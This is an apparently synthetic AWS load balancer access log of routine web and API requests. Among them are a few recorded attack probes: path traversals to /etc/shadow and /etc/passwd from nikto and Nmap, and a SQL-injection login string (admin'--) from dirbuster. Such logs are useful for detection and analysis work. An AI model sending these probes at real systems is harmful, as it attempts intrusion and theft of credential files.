arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bae4-60f6d8ad3acb464e943b935d" "staging-alb.example.com" "-" 1 2024-11-01T00:14:12.139997Z "forward" "-" "-" "241.192.14.7:80" "200" "-" "-" -https 2024-11-01T00:14:13.644507Z prod-api-alb 199.178.179.172:31547 10.0.40.240:443 0.073281 0.052846 0.019431 200 200 946 8414 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bae5-0dec789f0b2543e683b3d235" "prod-api-alb.example.com" "-" 7 2024-11-01T00:14:13.644507Z "forward" "-" "-" "10.0.40.240:443" "200" "-" "-" -http 2024-11-01T00:14:14.308700Z staging-alb 173.180.93.51:55156 89.175.150.35:80 0.135554 0.476299 0.096505 404 404 250 728 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bae6-e406f61cd8464651aecc3759" "staging-alb.example.com" "-" 10 2024-11-01T00:14:14.308700Z "forward" "-" "-" "89.175.150.35:80" "404" "-" "-" -https 2024-11-01T00:14:14.997347Z prod-api-alb 85.69.39.128:14670 10.0.28.56:443 0.075787 0.396432 0.068152 200 200 401 14877 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bae6-2b1308835fcc425397715d72" "prod-api-alb.example.com" "-" 1 2024-11-01T00:14:14.997347Z "forward" "-" "-" "10.0.28.56:443" "200" "-" "-" -https 2024-11-01T00:14:16.036666Z prod-web-alb 47.86.221.36:64755 10.0.89.81:443 0.030864 0.046028 0.014171 200 200 605 3577 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bae8-bd713975a0704e8fad1302f7" "prod-web-alb.example.com" "-" 10 2024-11-01T00:14:16.036666Z "forward" "-" "-" "10.0.89.81:443" "200" "-" "-" -http 2024-11-01T00:14:17.622622Z staging-alb 173.104.16.4:26399 248.238.152.191:443 0.116984 0.445139 0.032935 200 200 15 9188 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bae9-fa6179c0650a43bf88d5cc68" "staging-alb.example.com" "-" 1 2024-11-01T00:14:17.622622Z "forward" "-" "-" "248.238.152.191:443" "200" "-" "-" -https 2024-11-01T00:14:18.744633Z prod-web-alb 172.215.45.19:11260 10.0.64.44:443 0.016431 0.002132 0.009572 200 200 793 1699 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723baea-9f6b450c55b94d11a1825919" "prod-web-alb.example.com" "-" 8 2024-11-01T00:14:18.744633Z "forward" "-" "-" "10.0.64.44:443" "200" "-" "-" -https 2024-11-01T00:14:20.389975Z prod-web-alb 203.61.198.146:35452 10.0.93.183:443 0.060269 0.218515 0.097903 200 200 803 281 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baec-60366082425c44f7b134bc34" "prod-web-alb.example.com" "-" 7 2024-11-01T00:14:20.389975Z "forward" "-" "-" "10.0.93.183:443" "200" "-" "-" -https 2024-11-01T00:14:22.168081Z prod-web-alb 206.85.83.158:17367 10.0.174.72:443 0.074018 0.369340 0.026934 200 200 388 9262 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baee-bb8126fa6efe4f288f00ee79" "prod-web-alb.example.com" "-" 1 2024-11-01T00:14:22.168081Z "forward" "-" "-" "10.0.174.72:443" "200" "-" "-" -https 2024-11-01T00:14:22.679368Z prod-web-alb 157.222.89.110:36468 10.0.60.142:443 0.015896 0.343051 0.078018 301 301 795 5899 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baee-9e57dc438a78472383f82113" "prod-web-alb.example.com" "-" 9 2024-11-01T00:14:22.679368Z "forward" "-" "-" "10.0.60.142:443" "301" "-" "-" -https 2024-11-01T00:14:23.813639Z prod-web-alb 98.23.56.96:45007 10.0.150.253:443 0.098120 0.277923 0.085222 404 404 602 14320 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723baef-e171b9eff1494486b12371e4" "prod-web-alb.example.com" "-" 3 2024-11-01T00:14:23.813639Z "forward" "-" "-" "10.0.150.253:443" "404" "-" "-" -https 2024-11-01T00:14:24.805928Z prod-api-alb 45.155.205.142:19766 10.0.211.108:443 0.035299 0.338345 0.044553 403 403 580 11839 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723baf0-b32d9d75a1af44b0861a23c3" "-" "-" 5 2024-11-01T00:14:24.805928Z "forward" "-" "-" "10.0.211.108:443" "403" "-" "-" -https 2024-11-01T00:14:26.589149Z prod-web-alb 186.32.125.231:64326 10.0.243.31:443 0.027801 0.073565 0.079892 200 200 416 4406 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baf2-cf43c7b001344676a9d6cf78" "prod-web-alb.example.com" "-" 8 2024-11-01T00:14:26.589149Z "forward" "-" "-" "10.0.243.31:443" "200" "-" "-" -https 2024-11-01T00:14:28.447424Z staging-alb 47.35.254.24:11871 161.97.111.187:443 0.003282 0.575622 0.096905 404 404 37 4887 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baf4-43d109058441483885c56e8e" "staging-alb.example.com" "-" 5 2024-11-01T00:14:28.447424Z "forward" "-" "-" "161.97.111.187:443" "404" "-" "-" -https 2024-11-01T00:14:30.445897Z prod-web-alb 230.234.20.105:63909 10.0.123.249:443 0.066638 0.432411 0.062169 200 200 176 12520 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baf6-b5dede69004244158bee83c4" "prod-web-alb.example.com" "-" 9 2024-11-01T00:14:30.445897Z "forward" "-" "-" "10.0.123.249:443" "200" "-" "-" -https 2024-11-01T00:14:32.311818Z prod-web-alb 39.157.24.132:40350 10.0.245.85:443 0.074424 0.209208 0.052511 404 404 563 2766 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baf8-91793b9ec8c34eef99ef57a4" "-" "-" 4 2024-11-01T00:14:32.311818Z "forward" "-" "-" "10.0.245.85:443" "404" "-" "-" -http 2024-11-01T00:14:33.983585Z staging-alb 151.193.249.44:38216 144.10.241.122:80 0.104230 0.646707 0.006000 200 200 378 8104 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baf9-8d338976686d44f6a33cf954" "staging-alb.example.com" "-" 3 2024-11-01T00:14:33.983585Z "forward" "-" "-" "144.10.241.122:80" "200" "-" "-" -http 2024-11-01T00:14:35.592873Z staging-alb 149.10.22.123:42309 91.59.191.38:80 0.094900 0.339898 0.148709 404 404 427 3682 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bafb-a32df024eac243799a8a9e7b" "staging-alb.example.com" "-" 0 2024-11-01T00:14:35.592873Z "forward" "-" "-" "91.59.191.38:80" "404" "-" "-" -https 2024-11-01T00:14:36.461842Z prod-web-alb 227.116.111.59:14284 10.0.185.226:443 0.043592 0.428113 0.059340 302 302 874 7042 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bafc-a2e585a7400240de914b156a" "prod-web-alb.example.com" "-" 6 2024-11-01T00:14:36.461842Z "forward" "-" "-" "10.0.185.226:443" "302" "-" "-" -http 2024-11-01T00:14:37.898495Z staging-alb 216.123.181.122:42197 152.218.50.205:8080 0.114269 0.714741 0.116155 404 404 854 4004 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bafd-1d6e5bad960d414ca4a03fa9" "staging-alb.example.com" "-" 8 2024-11-01T00:14:37.898495Z "forward" "-" "-" "152.218.50.205:8080" "404" "-" "-" -https 2024-11-01T00:14:38.148608Z prod-api-alb 1.104.148.74:20794 10.0.53.6:443 0.077697 0.096491 0.033349 200 200 190 14363 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bafe-08959970a23c4ea6ba48d186" "prod-api-alb.example.com" "-" 2 2024-11-01T00:14:38.148608Z "forward" "-" "-" "10.0.53.6:443" "200" "-" "-" -https 2024-11-01T00:14:39.658718Z prod-api-alb 224.132.29.220:10508 10.0.25.145:443 0.078511 0.216760 0.049768 404 404 126 13681 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723baff-4816e3a7b2a344f589354701" "prod-api-alb.example.com" "-" 2 2024-11-01T00:14:39.658718Z "forward" "-" "-" "10.0.25.145:443" "404" "-" "-" -https 2024-11-01T00:14:39.811929Z prod-web-alb 133.162.122.28:54393 10.0.204.125:443 0.028303 0.296639 0.039895 200 200 648 14059 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baff-3e15e906ba174a1db50f8e8d" "prod-web-alb.example.com" "-" 10 2024-11-01T00:14:39.811929Z "forward" "-" "-" "10.0.204.125:443" "200" "-" "-" -https 2024-11-01T00:14:40.495466Z staging-alb 5.223.67.63:15132 34.171.39.39:443 0.105797 0.099980 0.136115 200 200 961 8994 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb00-74f845733aa6490386f91160" "staging-alb.example.com" "-" 0 2024-11-01T00:14:40.495466Z "forward" "-" "-" "34.171.39.39:443" "200" "-" "-" -https 2024-11-01T00:14:40.664291Z prod-api-alb 193.176.147.33:21268 10.0.196.217:443 0.053874 0.251258 0.093654 302 302 377 7219 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb00-93c8cb8539a04c23ba71932f" "prod-api-alb.example.com" "-" 4 2024-11-01T00:14:40.664291Z "forward" "-" "-" "10.0.196.217:443" "302" "-" "-" -https 2024-11-01T00:14:41.259299Z staging-alb 138.246.234.158:11151 204.125.150.94:80 0.007707 0.011790 0.075705 200 200 631 9345 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb01-deb32a3f6e95414e85a5bc63" "staging-alb.example.com" "-" 9 2024-11-01T00:14:41.259299Z "forward" "-" "-" "204.125.150.94:80" "200" "-" "-" -https 2024-11-01T00:14:42.900735Z prod-api-alb 45.155.205.149:26736 10.0.188.132:443 0.080168 0.232262 0.060520 200 200 714 6835 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb02-9ee42a21fd304eebad0d51f8" "-" "-" 0 2024-11-01T00:14:42.900735Z "forward" "-" "-" "10.0.188.132:443" "200" "-" "-" -https 2024-11-01T00:14:44.235050Z staging-alb 193.27.228.181:26841 44.73.113.148:443 0.018085 0.624379 0.061684 404 404 705 10227 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb04-ea83210e0faf4775971de8fb" "-" "-" 6 2024-11-01T00:14:44.235050Z "forward" "-" "-" "44.73.113.148:443" "404" "-" "-" -http 2024-11-01T00:14:45.866155Z staging-alb 249.21.201.236:29417 41.135.57.46:80 0.149452 0.729977 0.038376 200 200 2 3423 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb05-8bd085d95cc94dee8a77fffe" "staging-alb.example.com" "-" 6 2024-11-01T00:14:45.866155Z "forward" "-" "-" "41.135.57.46:80" "200" "-" "-" -https 2024-11-01T00:14:46.120726Z staging-alb 86.228.195.44:54313 12.244.35.67:80 0.083029 0.208381 0.070257 200 200 597 7256 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb06-ea8607cfb2854031a7ebe123" "staging-alb.example.com" "-" 6 2024-11-01T00:14:46.120726Z "forward" "-" "-" "12.244.35.67:80" "200" "-" "-" -https 2024-11-01T00:14:46.707750Z prod-web-alb 5.41.231.207:32598 10.0.226.12:443 0.052929 0.382335 0.035925 200 200 353 2533 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb06-2e18249befe44ee3905303ed" "prod-web-alb.example.com" "-" 5 2024-11-01T00:14:46.707750Z "forward" "-" "-" "10.0.226.12:443" "200" "-" "-" -http 2024-11-01T00:14:48.250766Z staging-alb 169.211.241.144:28157 22.100.33.69:443 0.003654 0.390343 0.140113 200 200 221 13413 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb08-fcd87baf57004f72b56ce671" "staging-alb.example.com" "-" 3 2024-11-01T00:14:48.250766Z "forward" "-" "-" "22.100.33.69:443" "200" "-" "-" -https 2024-11-01T00:14:49.605784Z prod-api-alb 177.193.196.94:47277 10.0.61.69:443 0.092683 0.161015 0.097806 200 200 49 10410 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb09-46e67e809e544db685901079" "prod-api-alb.example.com" "-" 4 2024-11-01T00:14:49.605784Z "forward" "-" "-" "10.0.61.69:443" "200" "-" "-" -https 2024-11-01T00:14:50.374140Z prod-api-alb 153.255.173.233:63940 10.0.152.156:443 0.037765 0.025926 0.041471 302 302 296 11636 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb0a-5ffddca71dbf4e7f956ac94f" "prod-api-alb.example.com" "-" 9 2024-11-01T00:14:50.374140Z "forward" "-" "-" "10.0.152.156:443" "302" "-" "-" -https 2024-11-01T00:14:51.850891Z prod-api-alb 181.233.179.229:12005 10.0.228.20:443 0.004286 0.012336 0.038660 200 200 749 7746 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb0b-bcb9babf4e76444394f1e8fa" "prod-api-alb.example.com" "-" 1 2024-11-01T00:14:51.850891Z "forward" "-" "-" "10.0.228.20:443" "200" "-" "-" -http 2024-11-01T00:14:52.527956Z staging-alb 40.29.210.39:49148 65.6.123.51:80 0.064061 0.457612 0.049417 301 301 656 10853 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb0c-e7180dc7ae1346e59c3d3226" "staging-alb.example.com" "-" 1 2024-11-01T00:14:52.527956Z "forward" "-" "-" "65.6.123.51:80" "301" "-" "-" -https 2024-11-01T00:14:54.199353Z prod-api-alb 55.10.195.28:59434 10.0.187.204:443 0.080570 0.248551 0.081203 302 302 571 7163 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb0e-599fc33837b142d19bffb0e0" "prod-api-alb.example.com" "-" 9 2024-11-01T00:14:54.199353Z "forward" "-" "-" "10.0.187.204:443" "302" "-" "-" -http 2024-11-01T00:14:55.252926Z staging-alb 241.9.229.113:30195 132.68.165.128:8080 0.066133 0.419959 0.138984 200 200 795 9264 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb0f-35ae232216e64a199d9db270" "staging-alb.example.com" "-" 3 2024-11-01T00:14:55.252926Z "forward" "-" "-" "132.68.165.128:8080" "200" "-" "-" -http 2024-11-01T00:14:57.096244Z staging-alb 26.249.5.175:24208 192.145.184.138:8080 0.060528 0.031201 0.024635 200 200 831 4024 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb11-4ac78ae4409d4d1583b9a54f" "staging-alb.example.com" "-" 7 2024-11-01T00:14:57.096244Z "forward" "-" "-" "192.145.184.138:8080" "200" "-" "-" -https 2024-11-01T00:14:58.877784Z staging-alb 255.44.131.205:27648 152.83.85.189:443 0.089856 0.376307 0.113474 301 301 256 5952 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb12-c73dc7332c524fe698cdeb3b" "staging-alb.example.com" "-" 4 2024-11-01T00:14:58.877784Z "forward" "-" "-" "152.83.85.189:443" "301" "-" "-" -https 2024-11-01T00:14:59.328171Z prod-web-alb 80.214.144.128:48979 10.0.227.203:443 0.001823 0.154403 0.077860 200 200 200 7525 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb13-cd065d59f24f4cd58e0d66b8" "prod-web-alb.example.com" "-" 5 2024-11-01T00:14:59.328171Z "forward" "-" "-" "10.0.227.203:443" "200" "-" "-" -https 2024-11-01T00:15:01.231171Z prod-web-alb 173.96.163.1:33113 10.0.227.97:443 0.009671 0.152248 0.005732 301 301 935 10824 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb15-b91a3964dd134681b9723c53" "prod-web-alb.example.com" "-" 0 2024-11-01T00:15:01.231171Z "forward" "-" "-" "10.0.227.97:443" "301" "-" "-" -https 2024-11-01T00:15:02.734483Z prod-web-alb 228.84.160.155:39530 10.0.239.34:443 0.060102 0.134995 0.075320 302 302 685 1772 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb16-1d4d759cc43f42a78a8acfc5" "prod-web-alb.example.com" "-" 6 2024-11-01T00:15:02.734483Z "forward" "-" "-" "10.0.239.34:443" "302" "-" "-" -https 2024-11-01T00:15:03.790604Z staging-alb 162.28.56.252:40536 180.133.134.102:443 0.030236 0.204036 0.142937 302 302 633 12672 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb17-9922bcfafc134e3ea82dc6d0" "staging-alb.example.com" "-" 4 2024-11-01T00:15:03.790604Z "forward" "-" "-" "180.133.134.102:443" "302" "-" "-" -https 2024-11-01T00:15:05.581631Z staging-alb 123.150.254.160:44478 222.152.16.241:8080 0.017069 0.484959 0.054527 200 200 813 598 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb19-1654650230ce4c5aa7d6522d" "staging-alb.example.com" "-" 10 2024-11-01T00:15:05.581631Z "forward" "-" "-" "222.152.16.241:8080" "200" "-" "-" -http 2024-11-01T00:15:07.287490Z staging-alb 10.179.62.190:23238 8.55.115.197:443 0.034947 0.132681 0.081330 404 404 603 14209 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb1b-1c6ad98b6a26490caa1909e6" "staging-alb.example.com" "-" 9 2024-11-01T00:15:07.287490Z "forward" "-" "-" "8.55.115.197:443" "404" "-" "-" -https 2024-11-01T00:15:08.625798Z staging-alb 233.17.250.189:49115 153.172.198.197:8080 0.011199 0.267182 0.133911 302 302 111 9602 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb1c-98bde4655a4f4490b1b5efa4" "staging-alb.example.com" "-" 9 2024-11-01T00:15:08.625798Z "forward" "-" "-" "153.172.198.197:8080" "302" "-" "-" -https 2024-11-01T00:15:09.423547Z staging-alb 2.236.87.90:57680 81.134.97.145:8080 0.094860 0.032448 0.013128 404 404 291 14585 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb1d-8e020d7257fe4360b6b9bbf1" "staging-alb.example.com" "-" 6 2024-11-01T00:15:09.423547Z "forward" "-" "-" "81.134.97.145:8080" "404" "-" "-" -https 2024-11-01T00:15:10.266065Z staging-alb 161.42.167.182:10911 40.4.129.68:443 0.126153 0.210675 0.043800 302 302 739 6034 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb1e-bd6fb51aa3e342f1b8771e46" "staging-alb.example.com" "-" 8 